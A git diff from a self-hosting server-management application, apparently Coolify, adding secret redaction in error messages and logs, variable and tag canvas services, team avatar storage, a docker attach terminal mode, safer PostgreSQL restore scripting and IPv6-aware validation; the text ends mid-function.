ServerTransferMigrator 'server_uuid' => $server->uuid, 'export_id' => is_string($exportId) ? $exportId : null, 'target_url' => $targetUrl, - 'import' => $importBody, + 'import' => app(SensitiveDataRedactor::class)->redactValue($importBody), 'complete' => $complete, 'warnings' => $warnings, 'message' => 'Server migrated to '.$targetUrl.'. Automations disabled on this instance.', @@ -172,14 +176,14 @@ class ServerTransferMigrator 'adopt_mode' => $adoptMode, ]); } catch (ConnectionException $e) { - throw new RuntimeException("Could not reach target instance at {$importUrl}: {$e->getMessage()}", previous: $e); + throw new RuntimeException('Could not reach target instance at '.remove_iip($importUrl).': '.remove_iip($e->getMessage()), previous: $e); } catch (Throwable $e) { - throw new RuntimeException("Transfer to target failed: {$e->getMessage()}", previous: $e); + throw new RuntimeException('Transfer to target failed: '.remove_iip($e->getMessage()), previous: $e); } $importBody = $response->json(); if (! is_array($importBody)) { - $importBody = ['raw' => $response->body()]; + $importBody = ['raw' => remove_iip($response->body())]; } if (! $response->successful()) { @@ -189,7 +193,7 @@ class ServerTransferMigrator if (is_array($message)) { $message = json_encode($message); } - throw new RuntimeException("Target import failed (HTTP {$response->status()}): {$message}"); + throw new RuntimeException("Target import failed (HTTP {$response->status()}): ".remove_iip((string) $message)); } return $importBody; diff --git a/app/Services/SharedVariableCanvas.php b/app/Services/SharedVariableCanvas.php new file mode 100644 index 0000000000..4e35da400a --- /dev/null +++ b/app/Services/SharedVariableCanvas.php @@ -0,0 +1,297 @@ +>, nodes: array>, links: array>, positions: array{}} + */ + public function payload(string $scope, Model $owner, bool $canEdit): array + { + $variables = $this->variables($owner); + $resources = $this->resources($scope, $owner); + $links = $this->links($scope, $variables, $resources); + + $missing = collect($links) + ->where('missing', true) + ->unique('source') + ->map(fn (array $link) => [ + 'id' => $link['source'], + 'type' => 'variable', + 'name' => $link['key'], + 'subtitle' => 'Deleted shared variable', + 'reference' => $this->reference($scope, $link['key']), + 'missing' => true, + 'zone' => self::SOURCES_ZONE, + 'extra_zones' => [], + 'status' => null, + ]); + + $resourceNodes = $this->resourceNodes($resources); + + return [ + 'title' => $this->title($scope, $owner), + 'title_link' => $this->pageLink($scope, $owner), + 'can_edit' => $canEdit, + 'can_move' => false, + 'layout' => 'connect', + 'scope' => $scope, + 'zones' => [ + ['id' => self::SOURCES_ZONE, 'name' => str($scope)->headline().' variables', 'icon' => 'variable'], + // The canvas moves the resources that use a variable into this zone. + ['id' => self::CONNECTED_ZONE, 'name' => 'Using these variables', 'icon' => 'link'], + ['id' => self::RESOURCES_ZONE, 'name' => 'Other resources', 'icon' => 'service'], + ], + 'nodes' => $variables + ->map(fn (SharedEnvironmentVariable $variable) => [ + 'id' => $this->variableNodeId($variable), + 'type' => 'variable', + 'name' => $variable->key, + 'subtitle' => filled($variable->comment) ? $variable->comment : str($scope)->headline().' variable', + 'reference' => $this->reference($scope, $variable->key), + 'missing' => false, + 'zone' => self::SOURCES_ZONE, + 'extra_zones' => [], + 'status' => null, + ]) + ->concat($missing) + ->concat($resourceNodes) + ->values() + ->all(), + 'links' => $links, + 'positions' => [], + ]; + } + + /** + * Resource cards of a connect canvas (shared variables or tags), with the project / environment + * the canvas groups and filters them by. The canvas moves used ones into the connected zone. + * + * @param Collection $resources keyed by uuid + * @return Collection> + */ + public function resourceNodes(Collection $resources): Collection + { + $graph = $this->canvas->graph($resources, collect(), false); + + return collect($graph['nodes'])->map(function (array $node) use ($resources) { + $environment = $resources->get($node['id'])->environment; + + return [ + ...$node, + 'zone' => self::RESOURCES_ZONE, + 'extra_zones' => [], + 'context' => $environment->project->name.' / '.$environment->name, + 'context_link' => route('project.resource.index', ['project_uuid' => $environment->project->uuid, 'environment_uuid' => $environment->uuid]), + // The canvas filters resources by project and environment. + 'project' => ['uuid' => $environment->project->uuid, 'name' => $environment->project->name], + 'environment' => ['uuid' => $environment->uuid, 'name' => $environment->name], + ]; + }); + } + + /** + * Shared variables of the scope owner, by key. + * + * @return Collection + */ + public function variables(Model $owner): Collection + { + return $owner->environment_variables()->orderBy('key')->get(); + } + + /** + * Top-level resources that can use the variables of the scope, keyed by uuid. + * + * @return Collection + */ + public function resources(string $scope, Model $owner): Collection + { + $environmentIds = match ($scope) { + 'team' => Environment::query()->whereHas('project', fn ($query) => $query->where('team_id', $owner->id))->pluck('id'), + 'project' => $owner->environments()->pluck('id'), + 'environment' => collect([$owner->id]), + 'server' => Environment::query()->whereHas('project', fn ($query) => $query->where('team_id', $owner->team_id))->pluck('id'), + }; + $resources = $this->serverCanvas->loadResources($environmentIds); + + if ($scope === 'server') { + // {{server.KEY}} resolves against the main server of the resource. + $resources = $resources->filter(fn (Model $resource) => $this->mainServer($resource)?->id === $owner->id); + } + + return $resources->sortBy(fn (Model $resource) => mb_strtolower($resource->name))->keyBy('uuid'); + } + + /** + * One link per (shared variable, resource) pair where a variable of the resource references the shared variable. + * + * @param Collection $variables + * @param Collection $resources + * @return array, label: ?string, removable: bool, missing: bool}> + */ + public function links(string $scope, Collection $variables, Collection $resources): array + { + $nodeIdByKey = $variables->mapWithKeys(fn (SharedEnvironmentVariable $variable) => [$variable->key => $this->variableNodeId($variable)]); + $resourceByMorph = $resources->mapWithKeys(fn (Model $resource) => [$resource->getMorphClass().'#'.$resource->getKey() => $resource]); + $links = []; + foreach ($this->resourceVariables($resources) as $environmentVariable) { + $resource = $resourceByMorph->get($environmentVariable->resourceable_type.'#'.$environmentVariable->resourceable_id); + foreach ($this->referencedKeys($scope, $environmentVariable->value) as $key) { + $source = $nodeIdByKey->get($key, 'missing:'.$key); + $id = $source.'|'.$resource->uuid; + $links[$id] ??= ['id' => $id, 'source' => $source, 'target' => $resource->uuid, 'key' => $key, 'keys' => [], 'label' => null, 'removable' => true, 'missing' => ! $nodeIdByKey->has($key)]; + $links[$id]['keys'][] = $environmentVariable->key; + // Only a variable that holds nothing but the reference can be removed from the canvas. + $links[$id]['removable'] = $links[$id]['removable'] && $this->isExactReference($scope, $key, $environmentVariable->value); + } + } + + return collect($links) + ->map(function (array $link) { + $keys = array_values(array_unique($link['keys'])); + + // Label the link when the resource uses another name for the variable. + return [...$link, 'keys' => $keys, 'label' => $keys === [$link['key']] ? null : implode(', ', $keys)]; + }) + ->values() + ->all(); + } + + /** + * Saved variables (not preview copies) of the given resources. + * + * @param Collection $resources + * @return Collection + */ + public function resourceVariables(Collection $resources): Collection + { + if ($resources->isEmpty()) { + return collect(); + } + + return EnvironmentVariable::query() + ->where('is_preview', false) + ->where(function ($query) use ($resources) { + foreach ($resources->groupBy(fn (Model $resource) => $resource->getMorphClass()) as $type => $group) { + $query->orWhere(fn ($query) => $query->where('resourceable_type', $type)->whereIn('resourceable_id', $group->map->getKey()->all())); + } + }) + ->orderBy('key') + ->get(); + } + + /** + * Keys of the shared variables of the scope that the value references. + * + * @return array + */ + public function referencedKeys(string $scope, ?string $value): array + { + if (blank($value)) { + return []; + } + preg_match_all('/{{\s*'.preg_quote($scope, '/').'\.(.+?)\s*}}/', $value, $matches); + + return array_values(array_unique($matches[1])); + } + + public function isExactReference(string $scope, string $key, ?string $value): bool + { + return preg_match('/^{{\s*'.preg_quote($scope, '/').'\.'.preg_quote($key, '/').'\s*}}$/', trim((string) $value)) === 1; + } + + public function reference(string $scope, string $key): string + { + return '{{'.$scope.'.'.$key.'}}'; + } + + public function variableNodeId(SharedEnvironmentVariable $variable): string + { + return 'variable:'.$variable->id; + } + + /** + * The team of the scope owner. + */ + public function teamId(string $scope, Model $owner): int + { + return (int) match ($scope) { + 'team' => $owner->id, + 'project', 'server' => $owner->team_id, + 'environment' => $owner->project->team_id, + }; + } + + public function mainServer(Model $resource): ?Server + { + return $resource instanceof Service ? $resource->server : $resource->destination?->server; + } + + public function title(string $scope, Model $owner): string + { + return match ($scope) { + 'team' => 'Team variables', + 'project' => $owner->name.' variables', + 'environment' => $owner->project->name.' / '.$owner->name.' variables', + 'server' => $owner->name.' variables', + }; + } + + /** + * The canvas of the variable's scope, with the variable selected. + */ + public function connectLink(SharedEnvironmentVariable $variable): ?string + { + $query = '?select='.urlencode($this->variableNodeId($variable)); + + return match ($variable->type) { + 'team' => route('shared-variables.team.canvas').$query, + 'project' => $variable->project ? route('shared-variables.project.canvas', ['project_uuid' => $variable->project->uuid]).$query : null, + 'environment' => $variable->environment?->project + ? route('shared-variables.environment.canvas', ['project_uuid' => $variable->environment->project->uuid, 'environment_uuid' => $variable->environment->uuid]).$query + : null, + 'server' => $variable->server ? route('shared-variables.server.canvas', ['server_uuid' => $variable->server->uuid]).$query : null, + default => null, + }; + } + + public function pageLink(string $scope, Model $owner): string + { + return match ($scope) { + 'team' => route('shared-variables.team.index'), + 'project' => route('shared-variables.project.show', ['project_uuid' => $owner->uuid]), + 'environment' => route('shared-variables.environment.show', ['project_uuid' => $owner->project->uuid, 'environment_uuid' => $owner->uuid]), + 'server' => route('shared-variables.server.show', ['server_uuid' => $owner->uuid]), + }; + } +} diff --git a/app/Services/TagCanvas.php b/app/Services/TagCanvas.php new file mode 100644 index 0000000000..a1d9132d3f --- /dev/null +++ b/app/Services/TagCanvas.php @@ -0,0 +1,120 @@ +>, nodes: array>, links: array>, positions: array{}} + */ + public function payload(int $teamId, bool $canEdit): array + { + $tags = $this->tags($teamId); + $resources = $this->resources($teamId); + + return [ + 'title' => 'Tags', + 'title_link' => route('tags.show'), + 'can_edit' => $canEdit, + 'can_move' => false, + 'layout' => 'connect', + 'zones' => [ + ['id' => SharedVariableCanvas::SOURCES_ZONE, 'name' => 'Tags', 'icon' => 'tag'], + // The canvas moves the tagged resources into this zone. + ['id' => SharedVariableCanvas::CONNECTED_ZONE, 'name' => 'Tagged resources', 'icon' => 'link'], + ['id' => SharedVariableCanvas::RESOURCES_ZONE, 'name' => 'Other resources', 'icon' => 'service'], + ], + 'nodes' => $tags + ->map(fn (Tag $tag) => [ + 'id' => $this->nodeId($tag), + 'type' => 'tag', + 'name' => $tag->name, + 'link' => route('tags.show', ['tagName' => $tag->name]), + 'missing' => false, + 'zone' => SharedVariableCanvas::SOURCES_ZONE, + 'extra_zones' => [], + 'status' => null, + ]) + ->concat($this->connect->resourceNodes($resources)) + ->values() + ->all(), + 'links' => $this->links($tags, $resources), + 'positions' => [], + ]; + } + + /** + * @return Collection + */ + public function tags(int $teamId): Collection + { + return Tag::query()->where('team_id', $teamId)->orderBy('name')->get(); + } + + /** + * Top-level resources of the team with their tags, keyed by uuid. + * + * @return Collection + */ + public function resources(int $teamId): Collection + { + $environmentIds = Environment::query()->whereHas('project', fn ($query) => $query->where('team_id', $teamId))->pluck('id'); + $resources = $this->serverCanvas->loadResources($environmentIds); + $resources->groupBy(fn (Model $resource) => $resource::class) + ->each(fn (Collection $group) => (new EloquentCollection($group->values()->all()))->load('tags')); + + return $resources->sortBy(fn (Model $resource) => mb_strtolower($resource->name))->keyBy('uuid'); + } + + /** + * @param Collection $tags + * @param Collection $resources + * @return array + */ + public function links(Collection $tags, Collection $resources): array + { + $teamTags = $tags->keyBy('id'); + + return $resources + ->flatMap(fn (Model $resource) => $resource->tags + ->filter(fn (Tag $tag) => $teamTags->has($tag->id)) + ->map(fn (Tag $tag) => $this->link($tag, $resource))) + ->values() + ->all(); + } + + /** + * @return array{id: string, source: string, target: string, key: string, keys: array{}, label: null, removable: true, missing: false} + */ + public function link(Tag $tag, Model $resource): array + { + $source = $this->nodeId($tag); + + return ['id' => $source.'|'.$resource->uuid, 'source' => $source, 'target' => $resource->uuid, 'key' => $tag->name, 'keys' => [], 'label' => null, 'removable' => true, 'missing' => false]; + } + + public function nodeId(Tag $tag): string + { + return 'tag:'.$tag->uuid; + } + + /** + * The tags canvas with the tag selected. + */ + public function connectLink(Tag $tag): string + { + return route('tags.canvas').'?select='.urlencode($this->nodeId($tag)); + } +} diff --git a/app/Services/TeamAvatarStorageService.php b/app/Services/TeamAvatarStorageService.php new file mode 100644 index 0000000000..ee66f8bff7 --- /dev/null +++ b/app/Services/TeamAvatarStorageService.php @@ -0,0 +1,76 @@ +avatar_storage_type === 's3' && $settings->avatar_s3_storage_id ? 's3' : 'local'; + $s3StorageId = $storageType === 's3' ? $settings->avatar_s3_storage_id : null; + $disk = $this->disk($storageType, $s3StorageId); + $path = "team-avatars/{$team->id}/avatar.jpg"; + + if (! $disk->put($path, $this->compress($upload))) { + throw new RuntimeException('Unable to store the team avatar.'); + } + + $oldStorageType = $team->avatar_storage_type; + $oldS3StorageId = $team->avatar_s3_storage_id; + $oldPath = $team->avatar_path; + + $team->forceFill([ + 'avatar_path' => $path, + 'avatar_storage_type' => $storageType, + 'avatar_s3_storage_id' => $s3StorageId, + ])->save(); + + if ($oldPath && ($oldStorageType !== $storageType || $oldS3StorageId !== $s3StorageId)) { + $this->disk($oldStorageType ?? 'local', $oldS3StorageId)->delete($oldPath); + } + } + + public function teamContents(Team $team): ?string + { + if (! $team->avatar_path) { + return null; + } + + try { + $disk = $this->disk($team->avatar_storage_type ?? 'local', $team->avatar_s3_storage_id); + } catch (RuntimeException) { + return null; + } + + return $disk->exists($team->avatar_path) ? $disk->get($team->avatar_path) : null; + } + + public function deleteTeam(Team $team): void + { + $this->deleteTeamFile($team); + + $team->forceFill([ + 'avatar_path' => null, + 'avatar_storage_type' => null, + 'avatar_s3_storage_id' => null, + ])->save(); + } + + public function deleteTeamFile(Team $team): void + { + if (! $team->avatar_path) { + return; + } + + try { + $this->disk($team->avatar_storage_type ?? 'local', $team->avatar_s3_storage_id) + ->delete($team->avatar_path); + } catch (RuntimeException) { + } + } +} diff --git a/app/Services/TerminalSessionService.php b/app/Services/TerminalSessionService.php index eea260b5a5..b2fb4d09a2 100644 --- a/app/Services/TerminalSessionService.php +++ b/app/Services/TerminalSessionService.php @@ -14,7 +14,10 @@ class TerminalSessionService { private const TOKEN_TTL_SECONDS = 60; - public function issue(User $user, Server $server, ?string $container = null): string + /** + * @param 'shell'|'attach' $mode Container terminal mode: docker exec or docker attach. + */ + public function issue(User $user, Server $server, ?string $container = null, string $mode = 'shell'): string { $token = Str::random(64); @@ -23,6 +26,7 @@ class TerminalSessionService 'team_id' => $user->currentTeam()->id, 'server_uuid' => $server->uuid, 'container' => $container, + 'mode' => $mode === 'attach' ? 'attach' : 'shell', ], now()->addSeconds(self::TOKEN_TTL_SECONDS)); return $token; @@ -63,8 +67,7 @@ class TerminalSessionService throw new AccessDeniedHttpException('Terminal container is not authorized.'); } - $dockerCommand = 'docker exec -it '.escapeshellarg($container).' sh -c '.escapeshellarg($command); - $command = $server->isNonRoot() ? "sudo {$dockerCommand}" : $dockerCommand; + $command = $this->containerCommand($server, $container, data_get($payload, 'mode') === 'attach' ? 'attach' : 'shell'); } return SshMultiplexingHelper::generateSshCommand( @@ -74,6 +77,34 @@ class TerminalSessionService ); } + /** + * Build the docker command that runs on the remote server for the given mode. + * + * @param 'shell'|'attach' $mode + */ + public function containerCommand(Server $server, string $container, string $mode): string + { + $escapedContainer = escapeshellarg($container); + // Add sudo for non-root users to access the Docker socket. + $sudo = $server->isNonRoot() ? 'sudo ' : ''; + + if ($mode === 'attach') { + $detachKeys = config('constants.terminal.detach_keys'); + $historyLines = (int) config('constants.terminal.console_history_lines'); + + // Print recent output first so the console is not blank, then attach for live output. + $primeHistory = $historyLines > 0 + ? "{$sudo}docker logs --tail {$historyLines} {$escapedContainer} 2>&1; " + : ''; + + // Attach to the container's main process. --detach-keys lets the user leave with + // Ctrl-P, Ctrl-Q and --sig-proxy=false stops the client forwarding signals to the app. + return "{$primeHistory}exec {$sudo}docker attach --detach-keys=\"{$detachKeys}\" --sig-proxy=false {$escapedContainer}"; + } + + return "{$sudo}docker exec -it {$escapedContainer} sh -c ".escapeshellarg($this->shellCommand()); + } + private function shellCommand(): string { return 'PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin && '. diff --git a/app/Support/AtomicFilesystem.php b/app/Support/AtomicFilesystem.php new file mode 100644 index 0000000000..321b5aa584 --- /dev/null +++ b/app/Support/AtomicFilesystem.php @@ -0,0 +1,51 @@ +databaseType($resource)) { - 'postgresql' => $dumpAll ? $this->postgresqlDumpAll() : $this->postgresqlSingle($replaceExisting, $keepOwners), + 'postgresql' => $this->postgresqlPrelude().($dumpAll ? $this->postgresqlDumpAll() : $this->postgresqlSingle($replaceExisting, $keepOwners)), 'mysql' => $this->mysql('mysql', 'MYSQL', $dumpAll, $restoreMysqlUsers), 'mariadb' => $this->mysql('mariadb', 'MARIADB', $dumpAll, $restoreMysqlUsers), 'mongodb' => $this->mongodb($replaceExisting), @@ -177,6 +178,24 @@ SH; }; } + /** + * Sets the PostgreSQL user once (see PostgresUser) and defines the checks that run after the + * backup format is accepted and before the first change. When no user variable is set, + * "postgres" is a guess, so a failed connection must stop the restore with a clear error. + */ + private function postgresqlPrelude(): string + { + return 'pg_user='.PostgresUser::shellExpression()."\n".<<<'SH' +check_connection() { + psql -U "$pg_user" -d template1 -Atc 'SELECT 1' >/dev/null 2>&1 || fail "Cannot connect to PostgreSQL as user \"$pg_user\". Set POSTGRES_USER on the database container to its superuser. Nothing was changed." +} +check_superuser() { + [ "$(psql -U "$pg_user" -d template1 -Atc 'SELECT rolsuper FROM pg_roles WHERE rolname = current_user' 2>/dev/null)" = t ] || fail "Restoring all databases needs a PostgreSQL superuser, and \"$pg_user\" is not one or cannot connect. Set POSTGRES_USER on the database container to its superuser. Nothing was changed." +} + +SH; + } + /** * pg_dump custom and tar archives are restored with pg_restore, SQL dumps with psql. * pg_restore cannot read gzip files, so both clients receive the backup on stdin. @@ -193,32 +212,35 @@ SH; $suffix = bin2hex(random_bytes(16)); $sqlRestore = $replaceExisting ? "\n new=coolify_restore_new_{$suffix}\n old=coolify_restore_old_{$suffix}\n".<<<'SH' + check_connection echo 'SQL backups cannot replace single objects. The backup is restored into a new database first; the current database is replaced only when that restore succeeds.' - if ! existing=$(printf '%s\n' "SELECT 1 FROM pg_database WHERE datname IN (:'new', :'old');" | psql -v ON_ERROR_STOP=1 -At -v new="$new" -v old="$old" -U $POSTGRES_USER -d template1); then + if ! existing=$(printf '%s\n' "SELECT 1 FROM pg_database WHERE datname IN (:'new', :'old');" | psql -v ON_ERROR_STOP=1 -At -v new="$new" -v old="$old" -U "$pg_user" -d template1); then fail 'The temporary database names could not be checked. Nothing was changed.' fi [ -z "$existing" ] || fail 'A temporary database name is already in use. Nothing was changed.' - createdb -U $POSTGRES_USER "$new" || exit 1 - if ! stream | psql -v ON_ERROR_STOP=1 --single-transaction -U $POSTGRES_USER -d "$new"; then - PGOPTIONS='-c client_min_messages=warning' dropdb --maintenance-db=template1 -U $POSTGRES_USER --if-exists "$new" + createdb -U "$pg_user" "$new" || exit 1 + if ! stream | psql -v ON_ERROR_STOP=1 --single-transaction -U "$pg_user" -d "$new"; then + PGOPTIONS='-c client_min_messages=warning' dropdb --maintenance-db=template1 -U "$pg_user" --if-exists "$new" fail 'The SQL restore failed. The current database was not changed.' fi - if ! printf '%s\n' "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = :'db' AND pid <> pg_backend_pid();" 'ALTER DATABASE :"db" RENAME TO :"old";' 'ALTER DATABASE :"new" RENAME TO :"db";' | psql -v ON_ERROR_STOP=1 -v db="$db" -v old="$old" -v new="$new" -U $POSTGRES_USER -d template1 >/dev/null; then + if ! printf '%s\n' "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = :'db' AND pid <> pg_backend_pid();" 'ALTER DATABASE :"db" RENAME TO :"old";' 'ALTER DATABASE :"new" RENAME TO :"db";' | psql -v ON_ERROR_STOP=1 -v db="$db" -v old="$old" -v new="$new" -U "$pg_user" -d template1 >/dev/null; then # Undo a half-done swap: the current database keeps its name and data. - printf '%s\n' 'ALTER DATABASE :"old" RENAME TO :"db";' | psql -v db="$db" -v old="$old" -U $POSTGRES_USER -d template1 >/dev/null 2>&1 - PGOPTIONS='-c client_min_messages=warning' dropdb --maintenance-db=template1 -U $POSTGRES_USER --if-exists "$new" + printf '%s\n' 'ALTER DATABASE :"old" RENAME TO :"db";' | psql -v db="$db" -v old="$old" -U "$pg_user" -d template1 >/dev/null 2>&1 + PGOPTIONS='-c client_min_messages=warning' dropdb --maintenance-db=template1 -U "$pg_user" --if-exists "$new" fail 'The current database is in use and could not be replaced. Nothing was changed.' fi - PGOPTIONS='-c client_min_messages=warning' dropdb --maintenance-db=template1 -U $POSTGRES_USER --if-exists "$old" || exit 1 + PGOPTIONS='-c client_min_messages=warning' dropdb --maintenance-db=template1 -U "$pg_user" --if-exists "$old" || exit 1 SH : <<<'SH' - stream | psql -v ON_ERROR_STOP=1 --single-transaction -U $POSTGRES_USER -d "$db" + check_connection + stream | psql -v ON_ERROR_STOP=1 --single-transaction -U "$pg_user" -d "$db" SH; return <</dev/null 2>&1 || fail 'pg_restore cannot read this backup archive. Nothing was changed.' @@ -244,13 +266,14 @@ elif is_text; then else fail 'Unsupported PostgreSQL backup format. Use a pg_dump archive (custom or tar format) or an SQL file. Nothing was changed.' fi -psql -U ${POSTGRES_USER} -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" || exit 1 -psql -U ${POSTGRES_USER} -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U ${POSTGRES_USER} --if-exists {} || exit 1 -createdb -U ${POSTGRES_USER} "$db" || exit 1 +check_superuser +psql -U "$pg_user" -d template1 -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" || exit 1 +psql -U "$pg_user" -d template1 -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U "$pg_user" --maintenance-db=template1 --if-exists {} || exit 1 +createdb -U "$pg_user" "$db" || exit 1 if [ "$kind" = archive ]; then - stream | pg_restore -U ${POSTGRES_USER} -d "$db" + stream | pg_restore -U "$pg_user" -d "$db" else - stream | psql -U ${POSTGRES_USER} -d "$db" + stream | psql -U "$pg_user" -d "$db" fi SH; } diff --git a/app/Support/DomainFavicon.php b/app/Support/DomainFavicon.php index e872a14ac7..b80b44de29 100644 --- a/app/Support/DomainFavicon.php +++ b/app/Support/DomainFavicon.php @@ -58,6 +58,14 @@ class DomainFavicon || ! DnsRecordHints::isPublicAddress($embeddedIp); } + // sslip.io writes an IPv6 address with dashes: fd00--1.sslip.io is fd00::1. + if (preg_match('/(?:^|\.)([0-9a-f]*-[0-9a-f-]*)\.(?:sslip|nip)\.io$/', $host, $matches) === 1) { + $embeddedIp = str_replace('-', ':', $matches[1]); + + return filter_var($embeddedIp, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false + && ! DnsRecordHints::isPublicAddress($embeddedIp); + } + return false; } } diff --git a/app/Support/Metrics/PressureLevel.php b/app/Support/Metrics/PressureLevel.php new file mode 100644 index 0000000000..2904c56504 --- /dev/null +++ b/app/Support/Metrics/PressureLevel.php @@ -0,0 +1,39 @@ += $error => 'error', + $percent >= $warn => 'warning', + default => 'ok', + }; + } + + public static function textClass(string $level): string + { + return match ($level) { + 'error' => 'text-red-500 dark:text-red-400', + 'warning' => 'text-orange-500 dark:text-warning', + default => 'text-black dark:text-fg', + }; + } + + public static function barClass(string $level): string + { + return match ($level) { + 'error' => 'bg-red-500 dark:bg-red-400', + 'warning' => 'bg-orange-500 dark:bg-warning', + default => 'bg-neutral-400 dark:bg-white/30', + }; + } +} diff --git a/app/Support/PasskeyRelyingParty.php b/app/Support/PasskeyRelyingParty.php new file mode 100644 index 0000000000..c066feec41 --- /dev/null +++ b/app/Support/PasskeyRelyingParty.php @@ -0,0 +1,49 @@ +}|null + */ + public static function resolve(Request $request): ?array + { + $requestHost = $request->getHost(); + + foreach ([instanceSettings()->fqdn, config('app.url')] as $url) { + $parts = parse_url((string) $url); + $host = strtolower($parts['host'] ?? ''); + + if (strtolower($parts['scheme'] ?? '') !== 'https' || $host !== $requestHost) { + continue; + } + if (filter_var(trim($host, '[]'), FILTER_VALIDATE_IP) !== false) { + continue; + } + + $origins = ['https://'.$host.(isset($parts['port']) ? ':'.$parts['port'] : '')]; + + // The fqdn setting stores no port, so a custom port can only come from the request. + if (! isset($parts['port']) && ! in_array($request->getPort(), [80, 443])) { + $origins[] = 'https://'.$host.':'.$request->getPort(); + } + + return ['id' => $host, 'origins' => $origins]; + } + + if ($requestHost === 'localhost') { + return ['id' => 'localhost', 'origins' => [$request->getSchemeAndHttpHost()]]; + } + + return null; + } + + public static function isAvailable(?Request $request = null): bool + { + return (bool) instanceSettings()->is_passkey_enabled + && self::resolve($request ?? request()) !== null; + } +} diff --git a/app/Support/PostgresUser.php b/app/Support/PostgresUser.php new file mode 100644 index 0000000000..24aaefe0a1 --- /dev/null +++ b/app/Support/PostgresUser.php @@ -0,0 +1,54 @@ + + */ + public const ENV_NAMES = ['POSTGRES_USER', 'PGUSER', 'POSTGRESQL_USERNAME']; + + public const DEFAULT = 'postgres'; + + /** + * Shell parameter expansion that resolves the user from the container environment. + */ + public static function shellExpression(): string + { + return array_reduce( + array_reverse(self::ENV_NAMES), + fn (string $fallback, string $name): string => '${'.$name.':-'.$fallback.'}', + self::DEFAULT, + ); + } + + /** + * Resolves the user from `env` output lines (NAME=value) of the container. + * + * @param iterable $envLines + */ + public static function fromEnvLines(iterable $envLines): string + { + $values = []; + foreach ($envLines as $line) { + [$name, $value] = array_pad(explode('=', trim((string) $line), 2), 2, ''); + $values[$name] = $value; + } + + foreach (self::ENV_NAMES as $name) { + if (($values[$name] ?? '') !== '') { + return $values[$name]; + } + } + + return self::DEFAULT; + } +} diff --git a/app/Support/ResourceStartActivity.php b/app/Support/ResourceStartActivity.php index 64b969587e..ac125bcc7f 100644 --- a/app/Support/ResourceStartActivity.php +++ b/app/Support/ResourceStartActivity.php @@ -158,12 +158,14 @@ class ResourceStartActivity } /** - * Mark an activity as failed, append the reason to its log and stop log polling. + * Mark an activity as failed, append the redacted reason to its log and stop log polling. * * @param array $extraProperties */ public static function markFailed(Activity $activity, string $message, array $extraProperties = []): void { + // Callers can pass exception or command output text, which can contain secrets. + $message = remove_iip($message); $properties = [ ...$extraProperties, 'status' => ProcessStatus::ERROR->value, diff --git a/app/Support/SmtpTransportFactory.php b/app/Support/SmtpTransportFactory.php index 43a0c5c065..f64dcd7659 100644 --- a/app/Support/SmtpTransportFactory.php +++ b/app/Support/SmtpTransportFactory.php @@ -12,7 +12,7 @@ class SmtpTransportFactory $mode = self::encryptionMode($settings); $transport = new EsmtpTransport( - $settings->smtp_host, + formatHostForUrl((string) $settings->smtp_host), (int) $settings->smtp_port, match ($mode) { 'none' => false, diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 4f5a77a140..53bc945c18 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -137,10 +137,11 @@ class ValidationPatterns * Pattern for Docker image repository names without a tag. * * Allows an optional registry host/port followed by lowercase repository - * path components. A trailing @sha256 marker is accepted for existing + * path components. A bracketed IPv6 registry host ([2a01:4f8::1]:5000) may + * only hold hex digits, ':' and '.'. A trailing @sha256 marker is accepted for existing * digest-based dockerimage records that store the digest hash separately. */ - public const DOCKER_IMAGE_NAME_PATTERN = '/\A(?=.{1,255}\z)(?:(?:[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?(?::[0-9]+)?\/)?[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*(?:\/[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*)*)(?:@sha256)?\z/'; + public const DOCKER_IMAGE_NAME_PATTERN = '/\A(?=.{1,255}\z)(?:(?:(?:[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?|\[[0-9a-f:.]+\])(?::[0-9]+)?\/)?[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*(?:\/[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*)*)(?:@sha256)?\z/'; /** * Pattern for Docker image tags. @@ -327,6 +328,24 @@ class ValidationPatterns return preg_match(self::DOCKER_IMAGE_NAME_PATTERN, $value) === 1; } + /** + * Check if a string is a safe health check host: a hostname or IPv4 address, or an IPv6 address + * with or without brackets (::1, [::1]). + */ + public static function isValidHealthCheckHost(?string $value): bool + { + if (! is_string($value)) { + return false; + } + + if (preg_match('/^[a-zA-Z0-9.\-_]+$/', $value) === 1) { + return true; + } + + return preg_match('/^(?:\[[0-9a-fA-F:.]+\]|[0-9a-fA-F:.]+)$/', $value) === 1 + && filter_var(trim($value, '[]'), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + } + /** * Check if a string is a valid Docker image tag. */ diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index 449c9c55dd..86ed88e9b8 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -2,12 +2,13 @@ namespace App\Traits; +use App\Actions\CoolifyTask\RunRemoteProcess; use App\Enums\ApplicationDeploymentStatus; use App\Exceptions\DeploymentException; use App\Helpers\SshMultiplexingHelper; use App\Models\EnvironmentVariable; use App\Models\Server; -use Carbon\Carbon; +use App\Services\Security\SensitiveDataRedactor; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Process; use Illuminate\Support\Stringable; @@ -22,52 +23,44 @@ trait ExecuteRemoteCommand public static int $batch_counter = 0; - private function redact_sensitive_info($text) + /** @var array{known: array, locked: array}|null */ + private ?array $logRedactionSecrets = null; + + /** @var array|null */ + private ?array $remoteSecretLogRedactionValues = null; + + private function redact_sensitive_info(string $text): string { try { - $text = remove_iip($text); - - if (! isset($this->application)) { - return $text; - } - 